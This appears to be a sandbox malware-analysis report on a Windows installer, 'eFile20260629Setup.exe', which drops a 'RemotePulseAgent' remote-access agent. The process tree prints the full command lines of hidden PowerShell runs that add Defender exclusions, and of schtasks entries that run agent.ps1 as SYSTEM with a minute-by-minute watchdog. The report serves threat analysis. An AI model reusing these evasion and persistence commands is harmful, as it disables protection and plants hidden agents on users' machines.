Overview

overview

8

Static

static

1

eFile20260...up.exe

windows10-2004-x64

8

eFile20260...up.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/06/2026, 04:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    eFile20260629Setup.exe
  • Size 6.2MB
  • Sample260630-ezy26aev6z
  • SHA256 9fe63d7081dd2adf88200766fd618525e22da4e2f2ecdcd3c9e12702f6eade5f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarediscoveryexecutionpersistencespyware

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell and hide display window.

    execution
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 19 IoCs
  • Executes dropped EXE 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 37 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 49 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eFile20260629Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\eFile20260629Setup.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "foreach($p in @($env:ProgramFiles+'\RemotePulseAgent',$env:ProgramData+'\RemotePulseAgent',$env:ProgramData+'\RemotePulseAgent\staging')){New-Item -Force -ItemType Directory -Path $p -EA 0|Out-Null;try{Add-MpPreference -ExclusionPath $p -EA 0}catch{}};foreach($x in @('RemotePulseAgent.exe','InstallerSetup.exe')){try{Add-MpPreference -ExclusionProcess $x -EA 0}catch{}}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2912
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Program Files (x86)\RemotePulseAgent\defender-exclude.ps1"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:5224
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\RemotePulseAgent\install.cmd" "697RHZQF" "https://remotepulse.io" "C:\Users\Admin\AppData\Local\Temp\eFile20260629Setup.exe" "eFile20260629" """
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Program Files (x86)\RemotePulseAgent\InstallCore.exe
        "C:\Program Files (x86)\RemotePulseAgent\InstallCore.exe" "697RHZQF" "https://remotepulse.io" "C:\Users\Admin\AppData\Local\Temp\eFile20260629Setup.exe" "eFile20260629" ""
        3⤵
        • Drops file in Program Files directory
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3504
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "foreach($p in @($env:ProgramFiles+'\RemotePulseAgent',$env:ProgramData+'\RemotePulseAgent',$env:ProgramData+'\RemotePulseAgent\staging','C:\Program Files (x86)\RemotePulseAgent')){New-Item -Force -ItemType Directory -Path $p -EA 0|Out-Null;try{Add-MpPreference -ExclusionPath $p -EA 0}catch{}};try{Add-MpPreference -ExclusionExtension '.ps1' -EA 0}catch{};Get-ChildItem -LiteralPath 'C:\Program Files (x86)\RemotePulseAgent' -Filter '*.ps1' -EA 0|Unblock-File -EA 0"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3576
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$o=Get-CimInstance Win32_OperatingSystem -EA 0;$d=Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -EA 0;$p=Get-CimInstance Win32_PerfFormattedData_PerfOS_Processor -Filter \"Name='_Total'\" -EA 0;$cpu=0;$mem=0;$disk=0;if($p){$cpu=[math]::Round($p.PercentProcessorTime,1)};if($o -and $o.TotalVisibleMemorySize){$mem=[math]::Round((($o.TotalVisibleMemorySize-$o.FreePhysicalMemory)/$o.TotalVisibleMemorySize)*100,1)};if($d -and $d.Size){$disk=[math]::Round((($d.Size-$d.FreeSpace)/$d.Size)*100,1)};$os=if($o){$o.Caption}else{'Windows'};@{os=$os;cpu=$cpu;memory=$mem;disk=$disk}|ConvertTo-Json|Out-File -Encoding utf8 'C:\ProgramData\RemotePulseAgent\enroll-metrics.json'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3704
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_Process -Filter \"Name='powershell.exe'\" -EA 0 | Where-Object { $_.CommandLine -like '*agent.ps1*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -EA 0 }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3500
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Delete /TN "RemotePulseAgent" /F
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4888
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Delete /TN "RemotePulseAgent-Desktop" /F
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4768
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Delete /TN "RemotePulseAgent-DesktopSession" /F
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4064
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Delete /TN "RemotePulseAgent-UserDesktop" /F
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1328
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Delete /TN "eFile20260629" /F
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5372
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Delete /TN "eFile20260629-Watchdog" /F
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6044
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Create /TN "eFile20260629" /TR ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\Program Files (x86)\RemotePulseAgent\agent.ps1\" -Worker core" /SC ONSTART /RU SYSTEM /RL HIGHEST /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4120
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Create /TN "eFile20260629-UserDesktop" /TR ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\Program Files (x86)\RemotePulseAgent\agent.ps1\" -Worker desktop" /SC ONLOGON /RU "Admin" /RL HIGHEST /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4564
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Create /TN "eFile20260629-DesktopSession" /TR ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\Program Files (x86)\RemotePulseAgent\agent.ps1\" -Worker desktop" /SC ONLOGON /RU "Admin" /RL HIGHEST /IT /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4536
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Create /TN "eFile20260629-Desktop" /TR ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\Program Files (x86)\RemotePulseAgent\agent.ps1\" -Worker desktop" /SC ONLOGON /RU "BUILTIN\Users" /RL HIGHEST /F
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4616
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Run /TN "eFile20260629"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1244
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files (x86)\RemotePulseAgent\agent.ps1" -Worker core
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xwj3yjvn\xwj3yjvn.cmdline"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:860
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDF1B.tmp" "c:\Users\Admin\AppData\Local\Temp\xwj3yjvn\CSC1FEBBA78CB344D808F72B549088488A.TMP"
              6⤵
                PID:3192
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Run /TN "eFile20260629-UserDesktop"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4112
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Run /TN "eFile20260629-DesktopSession"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4376
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Run /TN "eFile20260629-Desktop"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:5672
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files (x86)\RemotePulseAgent\agent.ps1" -Worker desktop
            4⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3060
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5zrruew2\5zrruew2.cmdline"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4064
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE3FD.tmp" "c:\Users\Admin\AppData\Local\Temp\5zrruew2\CSCB06195C280BD4D6D8419707FFE872946.TMP"
                6⤵
                  PID:5088
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /Create /TN "eFile20260629-Watchdog" /TR ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\ProgramData\RemotePulseAgent\watchdog.ps1"" /SC MINUTE /MO 1 /RU SYSTEM /RL HIGHEST /F
              4⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:5392
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /Run /TN "eFile20260629-Watchdog"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3732
          • C:\Windows\SysWOW64\findstr.exe
            findstr /C:"install OK" "C:\ProgramData\RemotePulseAgent\install.log"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1688
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:296
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4356
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3696
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
          PID:5996
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:4324
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files (x86)\RemotePulseAgent\agent.ps1" -Worker core
            1⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5932
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\nokhjfaq\nokhjfaq.cmdline"
              2⤵
              • Drops file in Windows directory
              • Suspicious use of WriteProcessMemory
              PID:792
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RESFC87.tmp" "c:\Windows\SystemTemp\nokhjfaq\CSCE52420216C2C4E8CABCDDF2B91500CD.TMP"
                3⤵
                • Drops file in Windows directory
                PID:1932
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files (x86)\RemotePulseAgent\agent.ps1" -Worker desktop
            1⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3608
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nx0k4u1v\nx0k4u1v.cmdline"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2940
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB00.tmp" "c:\Users\Admin\AppData\Local\Temp\nx0k4u1v\CSC9070403F85B64E0F91549CE88CE98143.TMP"
                3⤵
                  PID:2500
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files (x86)\RemotePulseAgent\agent.ps1" -Worker desktop
              1⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5524
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kulg23na\kulg23na.cmdline"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5900
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB10.tmp" "c:\Users\Admin\AppData\Local\Temp\kulg23na\CSCCEE407D597E4435EB4CC88AEF29DC7DE.TMP"
                  3⤵
                    PID:5016
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -STA -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Program Files (x86)\RemotePulseAgent\agent.ps1" -Worker desktop
                1⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2764
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yci0x5gz\yci0x5gz.cmdline"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2584
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB11.tmp" "c:\Users\Admin\AppData\Local\Temp\yci0x5gz\CSCA11845F018924F73971225E64EF7042.TMP"
                    3⤵
                      PID:3016
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\RemotePulseAgent\watchdog.ps1
                  1⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2372
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\RemotePulseAgent\watchdog.ps1
                  1⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5352

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      InstallCore.exe
                      • Path C:\Program Files (x86)\RemotePulseAgent\InstallCore.exe
                      • Size 74KB
                      • SHA256 c5f18bcaac7296cda021cbcc77de3c6cf33f7a9f0805eb8b0ef76891baf965d2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      agent.log
                      • Path C:\ProgramData\RemotePulseAgent\agent.log
                      • Size 234B
                      • SHA256 a2ad589c83b8d5c93edd4577a5704fed0b631b74cd9df0248e4c679153492254
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      agent.log
                      • Path C:\ProgramData\RemotePulseAgent\agent.log
                      • Size 308B
                      • SHA256 5e0b0617f96676ab439714f90fdb531c426fa4a3128c5ef5028bab0ef83ac5c5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      agent.log
                      • Path C:\ProgramData\RemotePulseAgent\agent.log
                      • Size 428B
                      • SHA256 daca1b884bb37283d1a86a291f141dd1a22dd351f5b85a64726b3be1dfbfd75a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      agent.log
                      • Path C:\ProgramData\RemotePulseAgent\agent.log
                      • Size 548B
                      • SHA256 a7b0a5a2ceed11cb7a7a848c20108c16a6f4a7da373de680c02ffcfe96c0978a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      agent.log
                      • Path C:\ProgramData\RemotePulseAgent\agent.log
                      • Size 621B
                      • SHA256 36f9c39bdeb6a952fad5ce33568e97a9a3f8d5e4a9f72d3507c38524d0762adf
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      agent.log
                      • Path C:\ProgramData\RemotePulseAgent\agent.log
                      • Size 694B
                      • SHA256 e5c0b316f7a8eb7b73d0f7007ac5fe01afc4469b3d53e6fa28c497c943d16959
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      bootstrap-last.txt
                      • Path C:\ProgramData\RemotePulseAgent\bootstrap-last.txt
                      • Size 33B
                      • SHA256 aae9c589973e93f5c136cf052038c7b30653895db0baa227891024ecc1ee2a87
                      • MD5 SHA1 SHA512
                      Submit Download

                      config.json
                      • Path C:\ProgramData\RemotePulseAgent\config.json
                      • Size 163B
                      • SHA256 dac283097eb425fda0c9bfe93b93e0139ef1c99809efd3c81c7581cad0cb2e71
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      enroll-metrics.json
                      • Path C:\ProgramData\RemotePulseAgent\enroll-metrics.json
                      • Size 121B
                      • SHA256 244f5c8105fef7d3d3a9f35b813b6402b885d8948cd244aa722226786b562c5f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      install.log
                      • Path C:\ProgramData\RemotePulseAgent\install.log
                      • Size 1KB
                      • SHA256 f1a9e1059fe295c59ba0b13c918970c807b9d07a5d96d1ca2bace79dd4e8ec00
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      install.log
                      • Path C:\ProgramData\RemotePulseAgent\install.log
                      • Size 1KB
                      • SHA256 41f4f3ee574e271cf084a01c255e46491b4a5c846e57b1991d18bf2f2ac3fc1f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      install.log
                      • Path C:\ProgramData\RemotePulseAgent\install.log
                      • Size 2KB
                      • SHA256 84756eee75dc4669ac6e4e70d138c7470c07afc049f24a23b73649ff224afbc2
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      install.log
                      • Path C:\ProgramData\RemotePulseAgent\install.log
                      • Size 897B
                      • SHA256 ef371367e60212f67d6af36da35ce3ba668a7c83c06c69cde26b44cf373e30ba
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      last-heartbeat.txt
                      • Path C:\ProgramData\RemotePulseAgent\last-heartbeat.txt
                      • Size 33B
                      • SHA256 6f1c612195575cbf4a1121752cbb0ac8208ab25eee914b4383d790c18c941456
                      • MD5 SHA1 SHA512
                      Submit Download

                      last-heartbeat.txt
                      • Path C:\ProgramData\RemotePulseAgent\last-heartbeat.txt
                      • Size 33B
                      • SHA256 3ee3471afc9bb0eebf0f2d30f0bd4960fe6cc64fa68d1a05d6bce7048bc033fe
                      • MD5 SHA1 SHA512
                      Submit Download

                      last-heartbeat.txt
                      • Path C:\ProgramData\RemotePulseAgent\last-heartbeat.txt
                      • Size 33B
                      • SHA256 7446ee7b3a0b8b9a061414ca625cba7301289f7e5a41a1650833cc0d1456efc9
                      • MD5 SHA1 SHA512
                      Submit Download

                      last-heartbeat.txt
                      • Path C:\ProgramData\RemotePulseAgent\last-heartbeat.txt
                      • Size 33B
                      • SHA256 9f795ed87636cbf577c3403e1a9e63b13349508740115be8cf16403e258c369a
                      • MD5 SHA1 SHA512
                      Submit Download

                      last-heartbeat.txt
                      • Path C:\ProgramData\RemotePulseAgent\last-heartbeat.txt
                      • Size 33B
                      • SHA256 0eb2abd2345ddbebc1a3dc52eaefbe2dd6086f7846c1717f71061c80e22a8311
                      • MD5 SHA1 SHA512
                      Submit Download

                      last-heartbeat.txt
                      • Path C:\ProgramData\RemotePulseAgent\last-heartbeat.txt
                      • Size 33B
                      • SHA256 178ff389f8693c9f252a81b94b95994bb31560d566d63907d699bb2f61114012
                      • MD5 SHA1 SHA512
                      Submit Download

                      msi-ca.log
                      • Path C:\ProgramData\RemotePulseAgent\msi-ca.log
                      • Size 477B
                      • SHA256 bc9cc88759505a084d3c230b8b06a439b256d690961744add4819c66b438884c
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      msi-ca.log
                      • Path C:\ProgramData\RemotePulseAgent\msi-ca.log
                      • Size 1KB
                      • SHA256 c75ad123e9286933b2744847143cfaac0166a674dafbd0a692bcf8d6c749ee41
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      msi-ca.log
                      • Path C:\ProgramData\RemotePulseAgent\msi-ca.log
                      • Size 1KB
                      • SHA256 b7617e2e05584799fbe6d25627cb1cf5e0d034d234ffe4ce768ac73c80434897
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      watchdog.ps1
                      • Path C:\ProgramData\RemotePulseAgent\watchdog.ps1
                      • Size 1KB
                      • SHA256 a5f328f017048762c531fe3b67c47883edceda7c34442d3938091e926333bdcd
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      worker-core.pid
                      • Path C:\ProgramData\RemotePulseAgent\worker-core.pid
                      • Size 4B
                      • SHA256 dc99a69a88c91874dfc387312cfe81ac8ba92833429b7d7f9938d6c3b128f93a
                      • MD5 SHA1 SHA512
                      Submit Download

                      worker-desktop.pid
                      • Path C:\ProgramData\RemotePulseAgent\worker-desktop.pid
                      • Size 4B
                      • SHA256 833d6983cdb9e4c6c12bf3022bdae163f91a51f1cf9876c955137e5f996f9763
                      • MD5 SHA1 SHA512
                      Submit Download

                      worker-desktop.pid
                      • Path C:\ProgramData\RemotePulseAgent\worker-desktop.pid
                      • Size 4B
                      • SHA256 86e83855c103c5adfcac5c40be23b69530a7619493076c9e16c6973a85d5be87
                      • MD5 SHA1 SHA512
                      Submit Download

                      ModuleAnalysisCache
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                      • Size 70KB
                      • SHA256 90b9a791f3817fe2b7811aec1e21613a709a63e6b2baa0797cddeb95e9f70435
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ModuleAnalysisCache
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                      • Size 70KB
                      • SHA256 8d7ee1fbde9a781244bd877e5bb6cfd31aacedc71d388edcd0c64a133914cd81
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ModuleAnalysisCache
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                      • Size 70KB
                      • SHA256 f9d41b9ef80f1ea61169a3ff43823d3c5dc88ad62e98cf6ef15b1e16f70da1e5
